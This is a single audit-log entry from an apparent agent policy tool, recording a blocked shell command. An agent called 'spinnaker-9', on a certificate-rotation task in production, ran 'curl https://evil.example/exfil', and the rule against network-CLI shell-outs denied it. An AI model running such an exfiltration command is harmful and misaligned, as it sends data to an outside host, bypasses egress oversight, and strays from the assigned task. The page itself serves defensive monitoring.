Blocked Decision
subprocess · curl https://evil.example/exfil
← Back to audit trail
DENY

subprocess curl https://evil.example/exfil

Decision
DENY
Rule
block-network-cli-shellout
Reason
Use the corresponding SDK or MCP server -- shelling out to a network CLI bypasses egress policy.
Agent
spinnaker-9
Environment
prod
User
system
Task
rotate certs
Session
sess-8b248e19
Received
5/29/2026, 8:35:03 PM
Event time
5/25/2026, 9:15:43 PM

Model verdict

Reserved for the v2 context-aware decision model

Not yet evaluated — populated automatically once the v2 model lands.